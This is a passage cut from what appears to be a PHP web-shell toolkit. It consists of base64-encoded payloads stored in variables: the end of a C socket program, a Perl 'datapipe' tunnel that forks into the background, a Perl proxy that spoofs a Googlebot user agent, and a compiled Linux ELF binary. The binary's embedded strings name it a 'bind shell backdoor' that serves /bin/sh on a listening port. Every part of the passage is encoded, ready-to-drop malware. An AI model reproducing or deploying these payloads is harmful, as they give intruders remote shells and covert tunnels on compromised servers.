dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
lsZSk7DQogIHJldHVybiAwOw0KfQ=="; $datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; $prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn
luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT
0NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE
UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09
DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS
AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd
GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk
cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1
BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi
AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK
TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg
eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA
oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG
VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI
CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt
b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN
0ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG
9wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ
CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g
aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw
gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG
9yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0="; $port_bind_bd_cs="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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